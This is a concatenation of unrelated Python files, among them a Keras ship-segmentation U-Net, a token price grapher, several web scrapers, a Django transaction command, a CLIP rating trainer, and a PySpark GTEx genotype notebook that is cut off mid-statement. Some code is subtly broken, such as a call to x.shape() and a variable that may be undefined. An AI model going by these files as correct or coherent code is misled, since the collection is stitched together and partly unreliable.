import numpy as np
import pandas as pd
import cv2
from sklearn.model_selection import train_test_split
import tensorflow as tf
import keras
from keras.models import Model
from keras.models import load_model
from keras.layers import Input, Dense, Concatenate
from keras.layers import Dense, GlobalAveragePooling2D, Dropout, UpSampling2D, Conv2D, MaxPooling2D, Activation, Dropout
from keras.optimizers import adam_v2
from keras import backend as K

# Metrics

def dice_coeff(y_true, y_pred):
    smooth = 1.
    # Flatten
    y_true_f = tf.reshape(y_true, [-1])
    y_pred_f = tf.reshape(y_pred, [-1])
    intersection = tf.reduce_sum(y_true_f * y_pred_f)
    score = (2. * intersection + smooth) / (tf.reduce_sum(y_true_f) + tf.reduce_sum(y_pred_f) + smooth)
    return score

def recall(y_true, y_pred):
    true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))
    possible_positives = K.sum(K.round(K.clip(y_true, 0, 1)))
    recall_keras = true_positives / (possible_positives + K.epsilon())
    return recall_keras

def precision(y_true, y_pred):
    true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))
    predicted_positives = K.sum(K.round(K.clip(y_pred, 0, 1)))
    precision_keras = true_positives / (predicted_positives + K.epsilon())
    return precision_keras

def f1(y_true, y_pred):
    p = precision(y_true, y_pred)
    r = recall(y_true, y_pred)
    return 2 * ((p * r) / (p + r + K.epsilon()))

# Load data

masks = pd.read_csv('train_ship_segmentations_v2.csv')

print('CSV file loaded')

# Split data to train, validation and test sets (70:28:2)

train_df = masks[:230000]
test_df = masks[230000:]
test_df.reset_index(drop = True, inplace = True)
train_df = train_df.dropna(axis = 'index')       # images without ships don't need for train
train_df, val_df = train_test_split (train_df, test_size = 0.3, random_state = 42)

# Function fo decoding lables to masks

def rle_decode(mask_rle, shape = (768, 768)):
    s = mask_rle.split()
    starts, lengths = [np.asarray(x, dtype=int) for x in (s[0:][::2], s[1:][::2])]
    starts -= 1
    ends = starts + lengths
    img = np.zeros(shape[0] * shape[1], dtype = np.uint8)

    for lo, hi in zip(starts, ends):
        img[lo:hi] = 1
    return img.reshape(shape).T

# Generators for Model training (to reduce memory usage)

def img_generator(gen_df, batch_size):
    while True:
        x_batch = []
        y_batch = []

        for i in range(batch_size):
            img_name, mask_rle = gen_df.sample(1).values[0]      # get row from DF
            img = cv2.imread('train_v2/'+ img_name)              # read img

            img_masks = masks.loc[masks['ImageId'] == img_name, 'EncodedPixels'].tolist()

            all_masks = np.zeros((768, 768))                     # find ship masks for more the one ship
            for mask in img_masks:                               # create a single mask for all ships
                all_masks += rle_decode(mask)

            img = cv2.resize(img, (256, 256))                    # resize img to 256,256
            mask = cv2.resize(all_masks, (256, 256))             # resize mask to 256,256

            x_batch += [img]                                     # put into batch
            y_batch += [mask]

        x_batch = np.array(x_batch) / 255.                       # reduce color dimension img
        y_batch = np.array(y_batch)

        yield x_batch, np.expand_dims(y_batch, -1)               # return batch

# Make the Model

inp = Input(shape=(256, 256, 3))                               # input layer with shape 256x256 and 3 chanels

conv_1_1 = Conv2D(32, (3, 3), padding = 'same')(inp)           # increase filters number to 32, kernel size 3x3
conv_1_1 = Activation('relu')(conv_1_1)

conv_1_2 = Conv2D(32, (3, 3), padding = 'same')(conv_1_1)
conv_1_2 = Activation('relu')(conv_1_2)

pool_1 = MaxPooling2D(2)(conv_1_2)                             # reduce image size

conv_2_1 = Conv2D(64, (3, 3), padding = 'same')(pool_1)        # increase filters number to 64
conv_2_1 = Activation('relu')(conv_2_1)

conv_2_2 = Conv2D(64, (3, 3), padding = 'same')(conv_2_1)
conv_2_2 = Activation('relu')(conv_2_2)

pool_2 = MaxPooling2D(2)(conv_2_2)                             # reduce image size

conv_3_1 = Conv2D(128, (3, 3), padding = 'same')(pool_2)       # increase filters number to 128
conv_3_1 = Activation('relu')(conv_3_1)

conv_3_2 = Conv2D(128, (3, 3), padding = 'same')(conv_3_1)
conv_3_2 = Activation('relu')(conv_3_2)

pool_3 = MaxPooling2D(2)(conv_3_2)                             # reduce image size

conv_4_1 = Conv2D(256, (3, 3), padding = 'same')(pool_3)       # increase filters number to 256
conv_4_1 = Activation('relu')(conv_4_1)

conv_4_2 = Conv2D(256, (3, 3), padding = 'same')(conv_4_1)
conv_4_2 = Activation('relu')(conv_4_2)

pool_4 = MaxPooling2D(2)(conv_4_2)                             # reduce image size

up_1 = UpSampling2D(2, interpolation = 'bilinear')(pool_4)     # increase image size

conc_1 = Concatenate()([conv_4_2, up_1])                       # concatenate withe the same size layer before upsampling to get low level info

conv_up_1_1 = Conv2D(256, (3, 3), padding = 'same')(conc_1)
conv_up_1_1 = Activation('relu')(conv_up_1_1)

conv_up_1_2 = Conv2D(256, (3, 3), padding = 'same')(conv_up_1_1)
conv_up_1_2 = Activation('relu')(conv_up_1_2)

up_2 = UpSampling2D(2, interpolation = 'bilinear')(conv_up_1_2) # increase image size

conc_2 = Concatenate()([conv_3_2, up_2])                        # concatenate withe the same size layer before upsampling to get low level info

conv_up_2_1 = Conv2D(128, (3, 3), padding = 'same')(conc_2)     # reduce filter number to 128
conv_up_2_1 = Activation('relu')(conv_up_2_1)

conv_up_2_2 = Conv2D(128, (3, 3), padding = 'same')(conv_up_2_1)
conv_up_2_2 = Activation('relu')(conv_up_2_2)

up_3 = UpSampling2D(2, interpolation = 'bilinear')(conv_up_2_2) # increase image size

conc_3 = Concatenate()([conv_2_2, up_3])                        # concatenate withe the same size layer before upsampling to get low level info

conv_up_3_1 = Conv2D(64, (3, 3), padding = 'same')(conc_3)      # reduce filter number to 64
conv_up_3_1 = Activation('relu')(conv_up_3_1)

conv_up_3_2 = Conv2D(64, (3, 3), padding='same')(conv_up_3_1)
conv_up_3_2 = Activation('relu')(conv_up_3_2)

up_4 = UpSampling2D(2, interpolation = 'bilinear')(conv_up_3_2) # increase image size

conc_4 = Concatenate()([conv_1_2, up_4])                        # concatenate withe the same size layer before upsampling to get low level info

conv_up_4_1 = Conv2D(32, (3, 3), padding = 'same')(conc_4)      # reduce filter number to 32
conv_up_4_1 = Activation('relu')(conv_up_4_1)

conv_up_4_2 = Conv2D(1, (3, 3), padding = 'same')(conv_up_4_1)
conv_up_4_3 = Dropout(0.5)(conv_up_4_2)                         # avoid overfitting

result = Activation('sigmoid')(conv_up_4_3)                     # otput layer with sigmoid activation to get probability is a pixel ship

model = Model(inputs = inp, outputs = result)

best_w = keras.callbacks.ModelCheckpoint('r34_best.h5',           # save best weights during training
                                monitor = 'val_loss',
                                verbose = 0,
                                save_best_only = True,
                                save_weights_only = True,
                                mode = 'auto',
                                period = 1)

last_w = keras.callbacks.ModelCheckpoint('r34_last.h5',            # save last weights during training
                                monitor = 'val_loss',
                                verbose = 0,
                                save_best_only = False,
                                save_weights_only = True,
                                mode='auto',
                                period=1)

callbacks = [best_w, last_w]

adam = tf.keras.optimizers.Adam(learning_rate = 0.0001,
                                beta_1 = 0.9,
                                beta_2 = 0.999,
                                epsilon = 1e-08,
                                decay = 0.0)

model.compile(adam, 'binary_crossentropy', [f1, dice_coeff])

batch_size = 16

print ('Training is started')

model.fit(img_generator(train_df, batch_size),
              steps_per_epoch = 100,
              epochs = 300,
              verbose = 1,
              callbacks = callbacks,
              validation_data = img_generator(val_df, batch_size),
              validation_steps = 10,
              class_weight = None,
              max_queue_size = 10,
              workers = 1,
              use_multiprocessing = False,
              shuffle = True,
              initial_epoch = 0)

# Save the Model

model.save('last_saved_model.h5')

print('Training completed successfully and the Model has been saved to a file "last_saved_model.h5"')


from argparse import ArgumentParser
from time import sleep
from src.netreq import setContractAddress, requestPrice, requestSymbol
from src.grapher import setGraphSymbol, startGraphThread,addPrice, initanim
from src.contracts import contract_list
import threading

def priceThread():
    while True:
        price = requestPrice()
        if price is not None:
            addPrice(price)
        else:
            print("An error occured while trying to get the price for token")
        sleep(4) # As observed from Trader Joe's request intervals

if __name__ == "__main__":
    parser = ArgumentParser(
        prog="acpy",
        description="A python script that utilizes graphql traderjoe subgraph to pull prices from Avalanche's C-Chain tokens")
    parser.add_argument("-c", "--contract", help="Address of the contract present on the C-Chain")
    parser.add_argument("--token", "-t", choices=contract_list.keys(), required=False, default="PNG", help="Use a built in contract address if you prefer")

    args = parser.parse_args()
    if args.contract is None and args.token is None:
        parser.print_help()
        exit(0)
    contract_addr = ""
    if args.token is not None:
        contract_addr = contract_list[args.token]
    else:
        contract_addr = args.contract
    symbol = setContractAddress(contract_addr)

    if symbol is None:
        print("Error while getting the contract symbol.")
        exit(1)

    setGraphSymbol(symbol)
    initanim()
    pricethread = threading.Thread(target=priceThread)
    pricethread.start()
    startGraphThread()


from bs4 import BeautifulSoup
import requests

country = raw_input("Enter the country:")
#print(country)

site_to_scrape = "https://en.wikipedia.org/wiki/List_of_national_capitals_and_largest_cities_by_country"
r = requests.get(site_to_scrape)
data = r.text
soup = BeautifulSoup(data)

print("Capital: "+soup.find('a',title=country).parent.findNext('td').find('a').string)


"""
@package square_connect.report.management.commands.get_recent_transactions
Gets the most recent transactions from the primary storefronts and adds any selected items to the report database.
We recommend that you run it in a cron job.
"""

from django.core.management.base import BaseCommand, CommandError
from django.conf import settings
from app.models import Service
from report.models import Report, Item
from data.transaction import PaymentRequest

class Command(BaseCommand):
    help = "Gets the last 200 transactions at each service and finds ___-marked items"

    # Allows input of report types to take in. Ex. spoilage and shift drinks.
    def add_arguments(self, parser):
        parser.add_argument('report_type', nargs='+')

    def handle(self, *args, **options):
        # Refresh the Services if necessary
        if Service.objects.count() == 0:
                Service.regenerate_services()

        # Run for each service with discounts
        services = Service.objects.exclude(name__in=settings.SERVICE_EXCLUDES)

        for service in services:
            # Get the recent transactions for that service
            sales_json = PaymentRequest(merchant_id=service.merchant_id).auto()

            # Pass the sales to the report model so it can do its magic
            for report_type in options['report_type']:
                Report.add_items_from_json_data(sales_json, service)


# -*- coding: utf-8 -*-
# !/usr/bin/env python
# @Time    : 2019-08-06 16:16
# @Author  : lidong@immusician.com
# @Site    :
# @File    : base.py

import requests
from UnitTest.settings import HOST, PORT, HEADERS

class BaseResponse:
    def __init__(self):
        pass

class BaseRequest:
    def __init__(self, host=None, port=None):
        self._host = host
        if not self._host:
            self._host = HOST

        self._port = port
        if not self._port:
            self._port = PORT

        self.__url = self._host + ":" + str(self._port)
        self.__headers = HEADERS

    def _check_url_and_headers(self, url, headers):
        url = self.__url + url

        if not headers:
            headers = self.__headers
        return url, headers

    def get(self, url, param=None, **kwargs):
        headers = kwargs.get("headers", None)
        url, headers = self._check_url_and_headers(url, headers)
        return requests.get(url, param, headers=headers, **kwargs)

    def post(self, url, json=None, **kwargs):
        headers = kwargs.get("headers", None)
        url, headers = self._check_url_and_headers(url, headers)
        return requests.post(url, json=json, headers=headers)

    def run(self):
        dir_list = self.__dir__()
        for func in dir_list:
            if not func.startswith("_"):
                if func not in ["get", 'post', 'run']:
                    getattr(self, func)()
                    # self._show_data(func, url, ret)

    @staticmethod
    def _show_data(func_name, url, response):
        print("*"*10, func_name, "*"*10)
        print("")
        print("url: ", url)
        print("status: ", response.status_code)
        print("json: ", response.json())
        print("")
        print("")

if __name__ == '__main__':
    BaseRequest().run()


#YAPI Rewrite - Yet Another Package Manager

#Imports
import modules.config_import as config_import
import modules.installer as installer
import gui.interface as interface
import modules.search as search
import json
import sys
import os
try:
    os.chdir(os.path.dirname(__file__)) #Change file location if outside of YAPI
except:
    pass #Already in directory of YAPI.
if len(sys.argv) != 2:
    try:
        config = json.loads(config_import.get_config())
        os_platform = config['OS.platform']
        cache_boolean = ('True' == config['Cache.keep_cache'])
        cache_location = config['Cache.cache_location']
        search_local = ('True' == config['Search.search_local'])
        search_url = config['Search.search_url']
        remote_location = config['Remote.location']
        remote_branch = config['Remote.branch']
        file_extension = config['Remote.file_extension']
        language_selected = config['Languages.selected']
    except:
        print('Config not able to be imported. Run \"python3 yapi.py config\" to fix the error')

#Main Program
if len(sys.argv) == 1:
    result = interface.start()
elif len(sys.argv) == 2:
    if sys.argv[1] == 'config':
        config_import.update_config()
elif len(sys.argv) == 3:
    if sys.argv[1] == 'search':
        matches = search.search(search_url, file_extension, search_local, cache_location, sys.argv[2])
        for match in matches:
            print(match)
    elif sys.argv[1] == 'download':
        file_name = sys.argv[2] + file_extension
        file_url = remote_location + os_platform + '/' + remote_branch + '/scripts/' + file_name
        os.chdir(cache_location)
        output = installer.get_file(file_url, file_name)
    elif sys.argv[1] == 'run':
        file_name = sys.argv[2] + file_extension
        os.chdir(cache_location)
        output = installer.run_script(file_name, cache_boolean)
    elif sys.argv[1] == 'install':
        output = installer.full_install(sys.argv[2])


import json
import csv
import requests
from bs4 import BeautifulSoup

# ▒█▀▄▒█▀▄ lab. PR | FAF | FCIM | UTM | Fall 2023
# ░█▀▒░█▀▄ FAF-212 Cristian Brinza lab2 homework

print('')
print('▒█▀▄▒█▀▄  lab. PR | FAF | FCIM | UTM | Fall 2023')
print('░█▀▒░█▀▄  FAF-212 Cristian Brinza lab2 homework ')
print('')

# User-Agent Rotation: List of user agents to mimic different browsers.
USER_AGENTS = [
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
    'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0',
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.3',
    # Add more user agents if needed
]

def fetch_web_content(product_url):
    """Fetches the content of the given URL."""
    # User-Agent Rotation: Select a user agent based on the hash of the URL.
    headers = {
        'User-Agent': USER_AGENTS[hash(product_url) % len(USER_AGENTS)]
    }
    try:
        # Error Handling: Catch network errors or invalid URLs.
        response = requests.get(product_url, headers=headers)
        response.raise_for_status()
        return BeautifulSoup(response.content, 'html.parser')
    except requests.RequestException as e:
        print(f"Error fetching URL {product_url}. Error: {e}")
        return None

def extract_owner_details(parsed_content):
    """Extracts the owner details from the parsed content."""
    owner_details = {}
    owner_section = parsed_content.find('dl', {'class': 'adPage__aside__stats__owner'})
    owner_details['Name'] = owner_section.find('a', {'class': 'adPage__aside__stats__owner__login buyer_experiment'}).text
    owner_details['On website since'] = owner_section.find('span').text
    last_update_section = owner_section.find_next('div')
    owner_details['Last Update'] = last_update_section.text
    ad_type_section = last_update_section.find_next('div')
    owner_details['Ad type'] = ad_type_section.text
    views_section = ad_type_section.find_next('div')
    owner_details['Views'] = views_section.text
    return owner_details

def extract_product_info(parsed_content):
    """Extracts product information from the parsed content."""
    product_info = {}
    description_section = parsed_content.find('div', {'class': 'adPage__content__description grid_18'})
    if description_section:
        product_info['Description'] = description_section.text
    else:
        product_info['Description'] = 'Description not found.'
    features_section = parsed_content.find('div', {'class': 'adPage__content__features'}).find_all('h2')
    for feature in features_section:
        feature_details = {}
        ul_section = feature.find_next('ul')
        if ul_section:
            list_items = ul_section.find_all('li')
            for item in list_items:
                spans = item.find_all('span')
                if len(spans) == 2:
                    feature_details[spans[0].text] = spans[1].text
                else:
                    feature_details[spans[0].text] = 'None'
        product_info[feature.text] = feature_details
    return product_info

def export_to_csv(filename, data_list):
    """Exports the scraped data to a CSV file."""
    # Export to CSV: Write the scraped data into a CSV format.
    keys = data_list[0].keys()
    with open(filename, 'w', newline='') as output_file:
        dict_writer = csv.DictWriter(output_file, keys)
        dict_writer.writeheader()
        dict_writer.writerows(data_list)

def read_urls_from_file(filename):
    """Reads URLs from a given file."""
    with open(filename, 'r') as file:
        return [url.strip() for url in file.readlines()]

def main():
    """Main function to interact with the user and perform operations."""
    all_data = []

    while True:
        print("\n--- Menu ---")
        print("1. Scrape product details")
        print("2. Scrape product details from a .txt file")
        print("3. Export all scraped data")
        print("4. Exit")
        choice = input("Enter your choice: ")

        if choice == "1":
            # Scrape Multiple URLs: Allow user to input multiple URLs separated by commas.
            target_urls = input("Enter the product URLs (comma-separated): ").split(',')
            for url in target_urls:
                parsed_content = fetch_web_content(url.strip())
                if parsed_content:
                    owner_details = extract_owner_details(parsed_content)
                    product_info = extract_product_info(parsed_content)

                    final_data = {
                        'URL': url,
                        'Owner Details': owner_details,
                        'Product Info': product_info
                    }
                    all_data.append(final_data)
                    print(f"Scraped data for {url}")

        elif choice == "2":
            # Scrape URLs from a .txt file
            file_path = input("Enter the path to the .txt file containing the product URLs (without extension): ")+".txt"
            try:
                target_urls = read_urls_from_file(file_path)
                for url in target_urls:
                    parsed_content = fetch_web_content(url)
                    if parsed_content:
                        owner_details = extract_owner_details(parsed_content)
                        product_info = extract_product_info(parsed_content)

                        final_data = {
                            'URL': url,
                            'Owner Details': owner_details,
                            'Product Info': product_info
                        }
                        all_data.append(final_data)
                        print(f"Scraped data for {url}")
            except FileNotFoundError:
                print(f"Error: File '{file_path}' not found!")

        elif choice == "3":
            print("\n--- Export Options ---")
            print("1. JSON")
            print("2. TXT")
            print("3. CSV")
            print('4. Console')
            export_choice = input("Enter your choice: ")

            if export_choice == "1":
                filename = input("Enter filename (without extension): ")
                with open(f"{filename}.json", "w") as outfile:
                    outfile.write(json.dumps(all_data, indent=2, ensure_ascii=False))
                print(f"Data saved to {filename}.json")
            elif export_choice == "2":
                filename = input("Enter filename (without extension): ")
                with open(f"{filename}.txt", "w") as outfile:
                    outfile.write(json.dumps(all_data, indent=2, ensure_ascii=False))
                print(f"Data saved to {filename}.txt")
            elif export_choice == "3":
                filename = input("Enter filename (without extension): ")
                # Export to CSV: Save the scraped data into a CSV file.
                export_to_csv(f"{filename}.csv", all_data)
                print(f"Data saved to {filename}.csv")
            elif export_choice == "4":
                print(json.dumps(final_data, indent=2, ensure_ascii=False))  # Print the scraped data to console

            else:
                print("Invalid choice!")

        elif choice == "4":
            print("Exiting program. Goodbye!")
            break
        else:
            print("Invalid choice! Please try again.")

if __name__ == '__main__':
    main()


import os
# os.environ['CUDA_VISIBLE_DEVICES'] = "0"       # in case you are using a multi GPU workstation, choose your GPU here
import tqdm
import pytorch_lightning as pl
import torch
import torch.nn as nn
from torch.utils.data import DataLoader
import torch.nn.functional as F
import pandas as pd
from datasets import load_dataset
from torch.utils.data import TensorDataset, DataLoader

import numpy as np

#define your neural net here:

class MLP(pl.LightningModule):
    def __init__(self, input_size, xcol='emb', ycol='avg_rating'):
        super().__init__()
        self.input_size = input_size
        self.xcol = xcol
        self.ycol = ycol
        self.layers = nn.Sequential(
            nn.Linear(self.input_size, 1024),
            #nn.ReLU(),
            nn.Dropout(0.2),
            nn.Linear(1024, 128),
            #nn.ReLU(),
            nn.Dropout(0.2),
            nn.Linear(128, 64),
            #nn.ReLU(),
            nn.Dropout(0.1),

            nn.Linear(64, 16),
            #nn.ReLU(),

            nn.Linear(16, 1)
        )

    def forward(self, x):
        return self.layers(x)

    def training_step(self, batch, batch_idx):
            x = batch[self.xcol]
            y = batch[self.ycol].reshape(-1, 1)
            x_hat = self.layers(x)
            loss = F.mse_loss(x_hat, y)
            return loss

    def validation_step(self, batch, batch_idx):
        x = batch[self.xcol]
        y = batch[self.ycol].reshape(-1, 1)
        x_hat = self.layers(x)
        loss = F.mse_loss(x_hat, y)
        return loss

    def configure_optimizers(self):
        optimizer = torch.optim.Adam(self.parameters(), lr=1e-3)
        return optimizer

# load the training data

x = np.load ("/mnt/spirit/ava_x.npy")

y = np.load ("/mnt/spirit/ava_y.npy")

val_percentage = 0.05 # 5% of the trainingdata will be used for validation

train_border = int(x.shape()[0] * (1 - val_percentage) )

train_tensor_x = torch.Tensor(x[:train_border]) # transform to torch tensor
train_tensor_y = torch.Tensor(y[:train_border])

train_dataset = TensorDataset(train_tensor_x,train_tensor_y) # create your datset
train_loader = DataLoader(train_dataset, batch_size=256, shuffle=True,  num_workers=16) # create your dataloader

val_tensor_x = torch.Tensor(x[train_border:]) # transform to torch tensor
val_tensor_y = torch.Tensor(y[train_border:])

'''
print(train_tensor_x.size())
print(val_tensor_x.size())
print( val_tensor_x.dtype)
print( val_tensor_x[0].dtype)
'''

val_dataset = TensorDataset(val_tensor_x,val_tensor_y) # create your datset
val_loader = DataLoader(val_dataset, batch_size=512,  num_workers=16) # create your dataloader

device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')

model = MLP(768).to(device)   # CLIP embedding dim is 768 for CLIP ViT L 14

optimizer = torch.optim.Adam(model.parameters())

# choose the loss you want to optimze for
criterion = nn.MSELoss()
criterion2 = nn.L1Loss()

epochs = 50

model.train()
best_loss =999
save_name = "linear_predictor_L14_MSE.pth"

for epoch in range(epochs):
    losses = []
    losses2 = []
    for batch_num, input_data in enumerate(train_loader):
        optimizer.zero_grad()
        x, y = input_data
        x = x.to(device).float()
        y = y.to(device)

        output = model(x)
        loss = criterion(output, y)
        loss.backward()
        losses.append(loss.item())

        optimizer.step()

        if batch_num % 1000 == 0:
            print('\tEpoch %d | Batch %d | Loss %6.2f' % (epoch, batch_num, loss.item()))
            #print(y)

    print('Epoch %d | Loss %6.2f' % (epoch, sum(losses)/len(losses)))
    losses = []
    losses2 = []

    for batch_num, input_data in enumerate(val_loader):
        optimizer.zero_grad()
        x, y = input_data
        x = x.to(device).float()
        y = y.to(device)

        output = model(x)
        loss = criterion(output, y)
        lossMAE = criterion2(output, y)
        #loss.backward()
        losses.append(loss.item())
        losses2.append(lossMAE.item())
        #optimizer.step()

        if batch_num % 1000 == 0:
            print('\tValidation - Epoch %d | Batch %d | MSE Loss %6.2f' % (epoch, batch_num, loss.item()))
            print('\tValidation - Epoch %d | Batch %d | MAE Loss %6.2f' % (epoch, batch_num, lossMAE.item()))

            #print(y)

    print('Validation - Epoch %d | MSE Loss %6.2f' % (epoch, sum(losses)/len(losses)))
    print('Validation - Epoch %d | MAE Loss %6.2f' % (epoch, sum(losses2)/len(losses2)))
    if sum(losses)/len(losses) < best_loss:
        print("Best MAE Val loss so far. Saving model")
        best_loss = sum(losses)/len(losses)
        print( best_loss )

        torch.save(model.state_dict(), save_name )

torch.save(model.state_dict(), save_name)

print( best_loss )

print("training done")
# inferece test with dummy samples from the val set, sanity check
print( "inferece test with dummy samples from the val set, sanity check")
model.eval()
output = model(x[:5].to(device))
print(output.size())
print(output)


# ---
# jupyter:
#   jupytext:
#     cell_metadata_json: true
#     formats: ipynb,py:light
#     text_representation:
#       extension: .py
#       format_name: light
#       format_version: '1.5'
#       jupytext_version: 1.4.2
#   kernelspec:
#     display_name: Python [conda env:anaconda-spark30_prev2]
#     language: python
#     name: conda-env-anaconda-spark30_prev2-py
# ---

# +
import pyspark
from pyspark.sql import SparkSession
import pyspark.sql.functions as f
import pyspark.sql.types as t

import glow
import os
# -

import json

# +
MEM = os.popen("ulimit -m").read()
if MEM.startswith("unlimited"):
    print("Memory not constrained, using all available memory...")
    import psutil
    MEM = psutil.virtual_memory().available / 1024
MEM = int(MEM)

N_CPU = int(os.popen("nproc").read())

print("memory: %dk" % MEM)
print("number of cores: %d" % N_CPU)
# -

MEM = int(MEM * 0.8)

#os.environ['PYSPARK_SUBMIT_ARGS'] = '--packages io.projectglow:glow_2.12:0.3.1-SNAPSHOT,io.delta:delta-core_2.11:0.5.0 --driver-memory %dk pyspark-shell' % MEM
os.environ['PYSPARK_SUBMIT_ARGS'] = " ".join([
#     '--packages ' + ",".join([
#         "io.projectglow:glow_2.12:0.3.1-SNAPSHOT",
#         "io.delta:delta-core_2.12:0.5.1-SNAPSHOT",
#     ]),
    '--driver-memory %dk' % MEM,
    '--jars ' + ",".join([
        "/data/nasif12/home_if12/hoelzlwi/Projects/glow/core/target/scala-2.12/glow-assembly-0.3.1-SNAPSHOT.jar",
        "/data/nasif12/home_if12/hoelzlwi/Projects/deltalake/target/scala-2.12/delta-core-assembly-0.5.1-SNAPSHOT.jar",
    ]),
    'pyspark-shell'
])
os.environ['PYSPARK_SUBMIT_ARGS']

MAX_FAILURES=4

spark = (
    SparkSession.builder
    .appName('abc')
    #.config("spark.local.dir", os.environ.get("TMP"))
    .config("spark.local.dir", "/data/cephrbgssd/scratch/hoelzlwi")
    .config("spark.master", f"local[{N_CPU},{MAX_FAILURES}]")
    .config("spark.sql.shuffle.partitions", "2001")
    .config("spark.sql.execution.arrow.enabled", "true")
    #.config("spark.network.timeout", "1800s")
    #.config("spark.executor.heartbeatInterval", "600s")
    .config("spark.driver.maxResultSize", "48G")
#     .config("spark.databricks.io.cache.enabled", "true") # only enable when local storage is actually on local SSD
    .config("spark.task.maxFailures", MAX_FAILURES)
    .getOrCreate()
)
glow.register(spark)
spark

spark.sparkContext.getConf().get("spark.local.dir")

spark.sparkContext.getConf().get("spark.task.maxFailures")

## define custom display Head to simplify looking at spark DataFrames.
def displayHead(df, nrows = 5):
    return df.limit(nrows).toPandas()

# GTEX_PATH = '/s/project/variantDatabase/deltaLake/gtex_normalized'
GTEX_PATH = '/s/project/variantDatabase/gtex/v8/hg38/normalized.delta/'
GTEX_VEP_PATH = '/s/project/variantDatabase/gtex/v8/hg38/vep.delta/'

def zip_explode_cols(df: pyspark.sql.dataframe.DataFrame, cols: list, target_struct, target_colnames=None):
    if target_colnames is None:
        target_colnames = cols

    df = df.withColumn(target_struct, f.explode(f.arrays_zip(*cols)))
    df = df.withColumn(target_struct, f.struct(*[
        f.col(target_struct + "." + actualName).alias(targetName)
        for targetName, actualName in zip(target_colnames, df.schema[target_struct].dataType.fieldNames())
    ]))

    return df

gtex_df = (
    spark
    .read
    .format('parquet')
    .load(GTEX_PATH)
    .withColumn("num_alt_alleles", f.expr("genotype_states(genotypes)"))
    .drop("names")
)

gtex_df.printSchema()

# + {"active": ""}
# # TODO: remove
# gtex_df = (
#     gtex_df
#     .withColumn("call_summary_stats", f.expr("call_summary_stats(genotypes)"))
#     .withColumn("dp_summary_stats", f.expr("dp_summary_stats(genotypes)"))
#     .withColumn("gq_summary_stats", f.expr("gq_summary_stats(genotypes)"))
#     .drop("names")
# )

# +
# filter out low-quality variants
gtex_df = gtex_df.filter(f.array_contains(f.col("filters"), "PASS") & (f.col("qual") >= 99))

# convert one-sized arrays to scalars
gtex_df = (
    gtex_df
    .withColumnRenamed("alternateAlleles", "alternateAllele").withColumn("alternateAllele", f.expr("alternateAllele[0]"))
    .withColumn("INFO_AC", f.expr("INFO_AC[0]"))
    .withColumn("INFO_AF", f.expr("INFO_AF[0]"))
    .withColumn("INFO_MLEAC", f.expr("INFO_MLEAC[0]"))
    .withColumn("INFO_MLEAF", f.expr("INFO_MLEAF[0]"))
)

# count unique elements
gtex_df = (
    gtex_df
    .withColumn(
        "zygocity",
        f.struct(
            f.expr('size(num_alt_alleles)').alias("n_samples"),
            f.expr('size(filter(num_alt_alleles, x -> x == 2))').alias("n_homo"),
            f.expr('size(filter(num_alt_alleles, x -> x == 1))').alias("n_hetero"),
            f.expr('size(filter(num_alt_alleles, x -> x == 0))').alias("n_ref"),
            f.expr('size(filter(num_alt_alleles, x -> x == -1))').alias("n_not_measured"),
            f.expr('array_distinct(filter(num_alt_alleles, x -> not x in (-1, 0, 1, 2)))').alias("other")
        )
    )
#     .withColumn("n_homozygous", f.expr('size(filter(num_alt_alleles, x -> x == 2))'))
#     .withColumn("n_heterozygous", f.expr('size(filter(num_alt_alleles, x -> x == 1))'))
#     .withColumn("n_ref", f.expr('size(filter(num_alt_alleles, x -> x == 0))'))
#     .withColumn("n_not_measured", f.expr('size(filter(num_alt_alleles, x -> x == -1))'))
#     .withColumn("n_not_measured", f.expr('size(filter(num_alt_alleles, x -> x == -1))'))
)
# -

gtex_df.printSchema()

x = displayHead(gtex_df)
x.T

alleleCounts = gtex_df.select("INFO_AC", f.expr("zygocity.*")).drop("other").toPandas()

alleleCounts

import plotnine as pn

pn.ggplot(alleleCounts, pn.aes(x="INFO_AC")) + pn.stat_ecdf() + pn.scale_x_log10() + pn.ylab("ECDF") + pn.ggtitle("ECDF of allele counts")

(
    pn.ggplot(alleleCounts, pn.aes(x="n_homo"))
    + pn.stat_ecdf()
    + pn.scale_x_log10()
    + pn.xlab("Nr. of homozygous samples per variant")
    + pn.ylab("ECDF")
    + pn.ggtitle("ECDF of homozygous allele counts")
)

(
    pn.ggplot(alleleCounts, pn.aes(x="n_hetero"))
    + pn.stat_ecdf()
    + pn.scale_x_log10()
    + pn.xlab("Nr. of heterozygous samples per variant")
    + pn.ylab("ECDF")
    + pn.ggtitle("ECDF of heterozygous allele counts")
)

gtex_singlegt = (
    zip_explode_cols(
        gtex_df,
        cols=[
            "genotypes",
            "num_alt_alleles",
        ],
        target_colnames=[
            "gt",
            "num_alt_alleles",
        ],
        target_struct="genotype"
    )
    .drop(
        "genotypes",
        "num_alt_alleles",
    )
)
gtex_singlegt.printSchema()

# +
# # filter for variants that have either an exclusive heterozygous or an exclusive homozygous sample
# gtex_singlegt = gtex_singlegt.filter(
#     f"(genotype.num_alt_alleles == 1 AND zygocity.n_hetero == 1)"
# + f" OR {"incorrectly_encoded_metadata": "(genotype.num_alt_alleles == 2 AND zygocity.n_homo == 1)\""}
# )
# -

vep_df = (
    spark
    .read
    .format('parquet')
    .load(GTEX_VEP_PATH)
)

vep_df.printSchema()

displayHead(vep_df)

# +
IMPACT_LEVELS = ["HIGH", "MODERATE", "LOW", "MODIFIER"]
LOF_LEVELS = ["HC", "LC"]

csq_terms = {}
for csq_type in ['intergenic_consequences','motif_feature_consequences', 'regulatory_feature_consequences', 'transcript_consequences']:
    unique_consequences = (
        vep_df
        .selectExpr(csq_type + ".consequence_terms as " + csq_type)
        .withColumn(csq_type, f.explode(csq_type))
        .withColumn(csq_type, f.explode(csq_type))
        .drop_duplicates()
    )
    # unique_consequences.printSchema()

    unique_consequences = unique_consequences.toPandas()
    csq_terms[csq_type] = unique_consequences

# -

csq_terms

exploded_df = (
    vep_df
    .withColumn("transcript_consequence", f.expr("explode(transcript_consequences)")).drop("transcript_consequences")
    .drop(
